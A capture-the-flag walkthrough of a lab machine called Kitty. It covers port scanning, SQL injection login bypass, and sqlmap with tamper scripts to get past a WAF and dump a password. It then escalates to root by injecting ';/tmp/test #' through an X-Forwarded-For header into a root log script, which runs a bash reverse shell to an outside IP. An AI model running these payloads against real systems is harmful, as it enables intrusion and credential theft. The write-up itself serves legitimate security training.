Kitty
Map? Where we are going, we don't need maps.
Recon
Let's start with a nmap scan
┌──(kali㉿kali)-[~]
└─$ nmap -sT -p- kitty.thm -T4
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-20 00:39 EST
Nmap scan report for kitty.thm (10.10.136.7)
Host is up (0.15s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
5946/tcp filtered unknown
Nmap done: 1 IP address (1 host up) scanned in 1106.11 seconds
We can see two ports open . SSH on port 22 and a HTTP server on port 80.
┌──(kali㉿kali)-[~]
└─$ nmap -sT -sV -sC -p 22,80 kitty.thm -T4
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-20 01:05 EST
Nmap scan report for kitty.thm (10.10.136.7)
Host is up (0.15s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 b0:c5:69:e6:dd:6b:81:0c:da:32:be:41:e3:5b:97:87 (RSA)
| 256 6c:65:ad:87:08:7a:3e:4c:7d:ea:3a:30:76:4d:04:16 (ECDSA)
|_ 256 2d:57:1d:56:f6:56:52:29:ea:aa:da:33:b2:77:2c:9c (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-title: Login
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.37 seconds
We know that we are working with PHP. Let's do some directory enumeration.
┌──(kali㉿kali)-[~]
└─$ gobuster dir -u http://kitty.thm -w /usr/share/wordlists/dirb/big.txt -x php
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://kitty.thm
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess (Status: 403) [Size: 274]
/.htaccess.php (Status: 403) [Size: 274]
/.htpasswd (Status: 403) [Size: 274]
/.htpasswd.php (Status: 403) [Size: 274]
/config.php (Status: 200) [Size: 1]
/index.php (Status: 200) [Size: 1081]
/logout.php (Status: 302) [Size: 0] [--> index.php]
/register.php (Status: 200) [Size: 1567]
/server-status (Status: 403) [Size: 274]
/welcome.php (Status: 302) [Size: 0] [--> index.php]
Progress: 40938 / 40940 (100.00%)
===============================================================
Finished
===============================================================
Initial Access
Let's visit the website and see what we have.

Some default and common paswords did not work. Let's try SQL injection.

we are informed that SQL Injection has been detected and logged. Maybe we can try some more injection or bypassing this check. Let's sign up for an account and see what we have.

Let's try injection with an account created.


It bypasses and logs us in. Let us check for how many columns the table has. We can do this by using UNION SELECT
.
After trying few inputs ' UNION SELECT 1,2,3,4-- -
worked. Going any further would give us an invalid login error.
We can also use SQLmap to simply this and make this process easier.
Although with SQLmap we will have to go through quite some trial and error.
We first started with:
sqlmap -u http://kitty.thm/index.php --forms
After soem trial and error we can find the database as MySQL so we can append --dbms=mysql -p username
to both restrict to MySQL and just focus on the username field.
Also --skip-heuristic
will limit noise, since we already know this field is vulnerable (although SQLMap thinks it isn't).
Because there is a cookie that won't change when a successful bypass happens, and which SQLmap by default takes into account, we need to ignore the set-cookie flag: --drop-set-cookie
:
sqlmap -u http://kitty/index.php --forms --dbms=mysql -p username --skip-heuristic --drop-set-cookie
We know there is know injection is possible but there is no feedback given. So this is Blind injection. In this case, false cases returns a 200 code (invalid username or password) while true redirects with 302: --code=302.
We will tell SQLMap to consider 302's as a success message.
sqlmap -u http://kitty.thm/index.php --forms --dbms=mysql -p username --skip-heuristic --drop-set-cookie --technique=B --code=302
In most cases most of the above wouldn't be needed except -u
and --forms
. But we want to limit the noise down and get quick results because the SQL Injection filter is of trial and error. Finally after lot's of trial and error and some researching.
These can be specified by script name with
--tamper
. And fortunately there are three that solve the specific problems above:
hex2char.py
replaces0x20
withChar(32)
ifnull2ifisnull.py
replacesIFNULL()
withIF(ISNULL(),)
ord2ascii.py
replacesORD
withASCII
With these three tamper scripts, specified
--tamper=ord2ascii,ifnull2ifisnull,hex2char
we can effectively avoid the WAF filter the site has.
sqlmap -u http://kitty.thm/index.php --forms --dbms=mysql -p username --code=302 --dump --tamper=ord2ascii,ifnull2ifisnull,hex2char --skip-heuristic --drop-set-cookie --flush-session
The above query will give us the kitty user's password, which can be used to SSH in.
When we run SQLmap it will ask you some questions on how to proceed with the injection. Most of them will work with default, but just make sure to not follow any redirects and we need to edit the form field values to include the valid username and password created earlier.

We can login and get our first flag.
Privilege Escalation
Let's do some enumeration. We can use linpeas.
First setup a python server on the attack machine.
python -m http.server
On the kitty’s machine :
kitty@kitty:~$ wget [ATTACK_MACHIN_IP]:8000/linpeas.sh
.
.
kitty@kitty:~$ chmod 777 linpeas.sh
kitty@kitty:~$ ./linpeas.sh
After a quick enumeration (manual and linpeas), we can see a few things :
There is other web content stored in
/var/www/development/
instead of/var/www/html
There are few localhost port occupied :
kitty@kitty:~$ ss -tulpn
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port
udp UNCONN 0 0 127.0.0.53%lo:53 0.0.0.0:*
udp UNCONN 0 0 10.10.136.7%eth0:68 0.0.0.0:*
tcp LISTEN 0 511 127.0.0.1:8080 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
tcp LISTEN 0 70 127.0.0.1:33060 0.0.0.0:*
tcp LISTEN 0 151 127.0.0.1:3306 0.0.0.0:*
tcp LISTEN 0 511 *:80 *:*
tcp LISTEN 0 128 [::]:22 [::]:*
The
/opt
directory isn’t empty and contains a script that belongs toroot
(remember that):
kitty@kitty:/tmp$ ls -la /opt
total 12
drwxr-xr-x 2 root root 4096 Feb 25 2023 .
drwxr-xr-x 19 root root 4096 Nov 8 2022 ..
-rw-r--r-- 1 root root 152 Feb 25 2023 log_checker.sh
kitty@kitty:/tmp$ cat /opt/log_checker.sh
#!/bin/sh
while read ip;
do
/usr/bin/sh -c "echo $ip >> /root/logged";
done < /var/www/development/logged
cat /dev/null > /var/www/development/logged
This script log_checker.sh
is owned by root.
Checking the source code of the development server at /var/www/development
, it is similar to the first webserver, with the only difference being the logging of SQL injection attempts on /index.php
.
If it detects a SQL injection attempt, it writes the value of the X-Forwarded-For
header in the request to the /var/www/development/logged
.
Sending a request with the header mentioned and a payload that will trigger this logging using curl
.
kitty@kitty:/var/www/development$ curl -s 'http://127.0.0.1:8080/index.php' -X POST -d 'username=sleep&password=password' -H 'X-Forwarded-For: test'
SQL Injection detected. This incident will be logged!
kitty@kitty:/var/www/development$ cat logged
test
The script log_checker.sh
reads the /var/www/development/logged
line by line and calls /usr/bin/sh -c "echo $ip >> /root/logged"
for every line, with the read line being the $ip
parameter, and after that, it clears the /var/www/development/logged
file.
Since we are able to control what is written to the /var/www/development/logged
file with the X-Forwarded-For
header, we can control the $ip
parameter and inject commands.
Creating a reverse shell at /tmp/test
and making it executable.
#!/bin/bash
bash -c "bash -i >& /dev/tcp/10.11.63.57/443 0>&1"
Starting our listener.
Sending our command injection payload: ;/tmp/test #
;
to escape the echo command./tmp/test
: command we want to inject.#
: to comment out the rest of the command.
kitty@kitty:/var/www/development$ curl -s 'http://127.0.0.1:8080/index.php' -X POST -d 'username=sleep&password=password' -H 'X-Forwarded-For: ;/tmp/test #'
SQL Injection detected. This incident will be logged!
On our listener, we receive a shell as root and can read the root flag.

Last updated
Was this helpful?